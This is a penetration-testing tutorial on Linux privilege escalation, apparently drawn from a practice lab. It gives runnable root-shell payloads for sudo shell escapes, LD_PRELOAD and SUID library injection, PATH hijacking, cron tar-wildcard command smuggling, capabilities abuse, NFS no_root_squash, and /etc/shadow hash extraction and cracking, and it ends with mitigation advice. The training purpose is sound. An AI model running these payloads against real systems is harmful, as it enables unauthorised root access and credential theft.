Linux Privilege Escalation
A Complete Guide to Escalation Techniques and Exploitation Methods
Introduction
Privilege escalation is a critical phase in penetration testing and security assessments. Once initial access is gained to a Linux system, the next objective is often to escalate privileges from a low-privileged user to root. This comprehensive guide explores various privilege escalation techniques, from sudo abuse to SUID exploitation, cron job manipulation, and NFS misconfiguration.
Understanding these techniques is essential for both offensive security professionals conducting authorized penetration tests and defensive security teams hardening their systems against such attacks. Each method demonstrated here represents a real-world vulnerability that, when properly secured, significantly improves system security posture.
Covered Techniques
- Sudo Exploitation (Shell Escaping)
- Sudo Abuse (Intended Functionality)
- Sudo LD_PRELOAD Exploitation
- SUID Shared Object Injection
- SUID Symlink Exploitation
- SUID Environment Variable Manipulation
- Linux Capabilities Abuse
- Cron Job Exploitation (PATH, Wildcards, File Overwrite)
- NFS Root Squashing
1. Sudo Exploitation - Shell Escaping
Concept Overview
Shell escaping exploits programs that can be run with sudo privileges but allow command execution or shell access. Many legitimate programs include functionality to execute system commands, and when run with sudo, these commands execute with root privileges. Common vulnerable programs include text editors, file utilities, and scripting tools.
Detection
First, check which programs can be run with sudo:
sudo -l
This command lists all programs the current user can execute with sudo privileges. Look for programs known to allow shell escaping, such as find, awk, vim, nmap, less, more, man, and others.
Exploitation Methods
Method A: Using find command
sudo find /bin -name nano -exec /bin/sh \\;
Payload Breakdown:
sudo: Executes the command with root privilegesfind /bin -name nano: Searches for a file named 'nano' in /bin directory (can be any existing file)exec /bin/sh \\;: Executes /bin/sh (shell) for each found file, granting a root shell\\;: Terminates the -exec command (backslash escapes the semicolon)
Method B: Using awk command
sudo awk 'BEGIN {system("/bin/sh")}'
Payload Breakdown:
awk: Text processing utility commonly used for data extractionBEGIN: AWK pattern that executes before processing any inputsystem("/bin/sh"): AWK function that executes shell commands, spawning a root shell
Method C: Using nmap command
echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
Payload Breakdown:
echo "os.execute('/bin/sh')" > shell.nse: Creates an NSE (Nmap Scripting Engine) script that executes a shellos.execute: Lua function used in NSE scripts to execute system commandssudo nmap --script=shell.nse: Runs nmap with the malicious script, executing /bin/sh as root
Method D: Using vim editor
sudo vim -c '!sh'
Payload Breakdown:
-c: Vim flag to execute a command upon startup!sh: Vim command to execute shell (! runs external commands), spawning a root shell
2. Sudo Abuse - Intended Functionality
Concept Overview
Some programs, when run with sudo, can be abused through their legitimate functionality to read sensitive files like /etc/shadow. Apache2, for instance, has a debugging mode that displays file contents. By leveraging this feature, attackers can extract password hashes and crack them offline.
Detection
sudo -l
Look for apache2 or similar services that can read arbitrary files.
Exploitation
Step 1: Extract the shadow file hash
sudo apache2 -f /etc/shadow
Payload Breakdown:
apache2: Apache web server binary- -
f /etc/shadow: Specifies configuration file; Apache tries to parse /etc/shadow and displays syntax errors, revealing password hashes
Step 2: Save the hash (on attacker machine)
echo 'root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::' > hash.txt
Step 3: Crack the hash using John the Ripper
john --wordlist=/usr/share/wordlists/nmap.lst hash.txt
Payload Breakdown:
- john: John the Ripper password cracker
- -wordlist=/usr/share/wordlists/nmap.lst: Specifies dictionary file for password guessing
- hash.txt: File containing the extracted password hash
3. Sudo LD_PRELOAD Exploitation
Concept Overview
LD_PRELOAD is an environment variable that specifies shared libraries to load before all others. If sudo is configured to preserve LD_PRELOAD (env_keep+=LD_PRELOAD), attackers can inject malicious shared libraries that execute code with root privileges before the intended program runs.
Detection
sudo -l
Look for output containing: env_keep+=LD_PRELOAD
Exploitation
Step 1: Create malicious shared library
#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _init() {unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/bash");}
Code Breakdown:
_init(): Constructor function automatically executed when the shared library loadsunsetenv("LD_PRELOAD"): Removes LD_PRELOAD to prevent infinite loopssetgid(0); setuid(0);: Sets group ID and user ID to 0 (root)system("/bin/bash"): Spawns a root shell
Step 2: Compile the shared library
gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
Compilation Flags Breakdown:
fPIC: Generates Position Independent Code, required for shared librariesshared: Creates a shared library (.so) instead of an executable-o /tmp/x.so: Specifies output file location and name-nostartfiles: Prevents linking with standard startup files (not needed for our constructor)
Step 3: Execute with LD_PRELOAD
sudo LD_PRELOAD=/tmp/x.so apache2
This loads x.so before apache2, triggering the _init() function and spawning a root shell before apache2 even starts.
Step 4: Verify privileges
id
4. SUID - Shared Object Injection
Concept Overview
SUID (Set User ID) binaries run with the permissions of the file owner, not the user executing them. If a SUID binary attempts to load a shared library from a writable directory and the library is missing, we can inject our own malicious library. The binary will execute our code with elevated privileges.
Detection
Step 1: Find SUID binaries
find / -type f -perm -04000 -ls 2>/dev/null
Command Breakdown:
find /: Searches from root directory-type f: Only searches for files (not directories)-perm-04000: Finds files with SUID bit set (4000 in octal)2>/dev/null: Redirects error messages to suppress permission denied errors
Step 2: Trace library calls
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
Command Breakdown:
strace: Traces system calls and signals2>&1: Redirects stderr to stdout for grep processinggrep -i -E "open|access|no such file": Filters for file opening attempts, especially missing files
Exploitation
Step 1: Create the writable directory
mkdir /home/user/.config
Step 2: Create malicious library code
#include <stdio.h>#include <stdlib.h>static void inject() __attribute__((constructor));void inject() {system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");}
Code Breakdown:
__attribute__((constructor)): Marks inject() to run automatically when library loadscp /bin/bash /tmp/bash: Copies bash to /tmp- chmod +s /tmp/bash: Sets SUID bit on the copied bash
/tmp/bash -p: Executes bash in privileged mode (-p preserves SUID privileges)
Step 3: Compile the malicious library
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
Compilation Breakdown:
-shared: Creates shared library-fPIC: Position Independent Code for shared librarieslibcalc.so: Output filename matches the missing library detected by strace
Step 4: Trigger the SUID binary
/usr/local/bin/suid-so
When executed, the SUID binary loads our malicious libcalc.so, running inject() with root privileges and spawning a root shell.
5. SUID - Symlink Exploitation
Concept Overview
Certain vulnerable versions of services like nginx have race condition vulnerabilities in their log rotation mechanisms. By creating a symbolic link from a log file to /etc/shadow and timing it with logrotate execution, attackers can trick the service into making /etc/shadow world-readable, exposing password hashes.
Detection
dpkg -l | grep nginx
Check if nginx version is below 1.6.2-5+deb8u3 (vulnerable versions).
Exploitation
Terminal 1: Setup (as www-data user)
su rootsu -l www-data/home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log
Script Breakdown:
nginxed-root.sh: Exploitation script that creates symbolic links and waits for logrotate to change permissions
Terminal 2: Trigger logrotate
su rootinvoke-rc.d nginx rotate >/dev/null 2>&1
Command Breakdown:
invoke-rc.d: Debian/Ubuntu command to manage init scriptsnginx rotate: Triggers log rotation, causing the race condition vulnerability
After rotation completes, /etc/shadow becomes readable, allowing hash extraction for offline cracking.
6. SUID - Environment Variable Manipulation
Concept Overview
If a SUID binary executes system commands without using absolute paths, attackers can manipulate the PATH environment variable to execute malicious code. By placing a trojan program earlier in PATH, the SUID binary will execute our code instead of the intended command, running it with elevated privileges.
Detection
Step 1: Find SUID binaries
find / -type f -perm -04000 -ls 2>/dev/null
Step 2: Analyze binary for vulnerable function calls
strings /usr/local/bin/suid-env
Command Breakdown:
strings: Extracts printable strings from binary, revealing function names and commands
Look for calls to system commands without absolute paths (e.g., 'service' instead of '/usr/sbin/service').
Exploitation
Method #1: PATH Hijacking
Step 1: Create malicious program
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
Code Breakdown:
setgid(0); setuid(0);: Sets privileges to root (UID/GID 0)system("/bin/bash"): Spawns root shell
Step 2: Compile the trojan
gcc /tmp/service.c -o /tmp/service
Step 3: Hijack PATH
export PATH=/tmp:$PATH
Command Breakdown:
export PATH=/tmp:$PATH: Prepends/tmpto PATH, making our trojan found first before legitimate binaries
Step 4: Execute SUID binary
/usr/local/bin/suid-env
Exploitation Method #2: Function Injection
For binaries using absolute paths, we can create a malicious bash function:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
Function Breakdown:
function /usr/sbin/service(): Creates bash function with same name as the system command (including full path)cp /bin/bash /tmp && chmod +s /tmp/bash: Creates SUID copy of bash
export -f /usr/sbin/service
Command Breakdown:
export -f: Exports the function so child processes (SUID binary) can access it
/usr/local/bin/suid-env2
Exploitation Method #3: PS4 Exploitation
Advanced technique using bash debugging variables:
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'
Payload Breakdown:
env -i: Starts with clean environmentSHELLOPTS=xtrace: Enables bash debugging modePS4='$(...)': Sets debug prompt to execute commands (creates SUID bash)/tmp/bash -p: Executes SUID bash in privileged mode
7. Linux Capabilities Abuse
Concept Overview
Linux capabilities break root privileges into distinct units that can be independently enabled or disabled. The cap_setuid capability allows a process to manipulate user IDs. If granted to interpreters like Python, attackers can set UID to 0 (root) and spawn privileged shells without needing SUID binaries.
Detection
getcap -r / 2>/dev/null
Command Breakdown:
getcap: Displays file capabilities-r /: Recursively searches from root directory2>/dev/null: Suppresses permission errors
Look for cap_setuid on interpreters (python, perl, ruby) or other binaries.
Exploitation
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Payload Breakdown:
-c: Executes Python code from command lineimport os: Imports OS module for system callsos.setuid(0): Sets user ID to 0 (root) using cap_setuid capabilityos.system("/bin/bash"): Spawns bash shell with root privileges
8. Cron Job Exploitation
Concept Overview
Cron jobs are scheduled tasks that run automatically at specified intervals. When cron jobs run as root but use writable scripts or misconfigured PATH variables, attackers can inject malicious code that executes with root privileges. Three primary exploitation vectors exist: PATH manipulation, wildcard abuse, and file overwriting.
Method A: PATH Manipulation
Detection:
cat /etc/crontab
Check if PATH includes writable directories (like /home/user) before system directories.
Exploitation:
> echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh> chmod +x /home/user/overwrite.sh
Script Breakdown:
cp /bin/bash /tmp/bash: Copies bash to temporary directorychmod +s /tmp/bash: Sets SUID bit (runs with owner's privileges)- **
chmod +x**:Makes script executable
Wait for cron to execute, then:
/tmp/bash -p
Command Breakdown:
-p: Privileged mode; prevents bash from dropping SUID privileges
Method B: Wildcard Exploitation
Detection:
cat /etc/crontabcat /usr/local/bin/compress.sh
Look for scripts using wildcards (*) with commands like tar, rsync, or chown.
Exploitation:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.shtouch /home/user/--checkpoint=1touch /home/user/--checkpoint-action=exec=sh\\ runme.sh
Exploitation Breakdown:
runme.sh: Script containing our malicious payload--checkpoint=1: Tar option interpreted as filename; creates checkpoint every 1 record--checkpoint-action=exec=sh runme.sh: Executes our script at checkpoint; backslash escapes the space
When tar processes these files with wildcard, it interprets filenames as command-line options, executing our script with root privileges.
After cron execution:
/tmp/bash -p
Method C: File Overwrite
Detection:
cat /etc/crontabls -l /usr/local/bin/overwrite.sh
Check if cron script has world-writable permissions or is owned by current user.
Exploitation
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
Command Breakdown:
>>: Appends to file (preserves existing content to avoid breaking script)
Wait for execution, then:
/tmp/bash -p
9. NFS Root Squashing
Concept Overview
NFS (Network File System) allows sharing directories across networks. By default, NFS uses 'root squashing' to map remote root users to nobody for security. However, when no_root_squash is enabled, remote root users maintain root privileges. Attackers can mount these shares, create SUID binaries as root on their machine, and execute them on the target for privilege escalation.
Detection (Target System)
cat /etc/exports
Look for shares with no_root_squash option, indicating root privileges are preserved.
Exploitation (Attacker Machine)
Step 1: Enumerate NFS shares
showmount -e <IP address>
Command Breakdown:
showmount: Queries NFS server for export information-e: Displays export list (shared directories)
Step 2: Mount the NFS share
mkdir /tmp/1mount -o rw,vers=2 10.48.164.145:/tmp /tmp/1
Mount Options Breakdown:
-o rw: Mounts with read-write permissionsvers=2: Specifies NFS version 2 (may need adjustment based on target)
Step 3: Create malicious executable
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
Code Breakdown:
setgid(0); setuid(0);: Sets privileges to rootsystem("/bin/bash"): Spawns shell
Step 4: Compile with SUID
gcc /tmp/1/x.c -o /tmp/1/xchmod +s /tmp/1/x
Command Breakdown:
chmod +s: Sets SUID bit; as root on attacker machine, the file becomes owned by root with SUID
Step 5: Execute on target
/tmp/x
Because no_root_squash is enabled, the SUID binary created by root on the attacker machine executes with root privileges on the target system, spawning a root shell.
Defense and Mitigation Strategies
Sudo Hardening
- Minimize sudo privileges; use specific commands with NOPASSWD sparingly
- Remove env_keep+=LD_PRELOAD from sudoers configuration
- Regularly audit sudo rules with sudo -l as different users
- Avoid granting sudo access to interpreters and text editors
SUID/SGID Management
- Minimize SUID binaries; remove unnecessary ones
- Regularly audit SUID files with find / -perm -4000
- Use absolute paths in SUID programs
- Implement file integrity monitoring for SUID binaries
Capabilities Control
- Regularly audit capabilities with getcap
- Never grant cap_setuid to interpreters or compilers
- Use capabilities sparingly; prefer traditional permissions
Cron Job Security
- Set secure PATH in crontab; exclude user-writable directories
- Make cron scripts readable/executable only by root
- Avoid wildcards in cron scripts; use explicit file lists
- Use absolute paths for all commands in cron scripts
NFS Security
- Never use no_root_squash unless absolutely necessary
- Restrict NFS access with firewall rules
- Use NFSv4 with Kerberos authentication
- Limit exports to specific IP addresses or subnets
Additional Resources
- GTFOBins: https://gtfobins.github.io/ - Database of Unix binaries for privilege escalation
- LinPEAS: Automated Linux privilege escalation enumeration script
- Linux Privilege Escalation Checklist by g0tmi1k
- TryHackMe Linux PrivEsc Room: Hands-on practice environment
- HackTheBox Academy: Linux privilege escalation modules
- PayloadsAllTheThings: Comprehensive payload repository








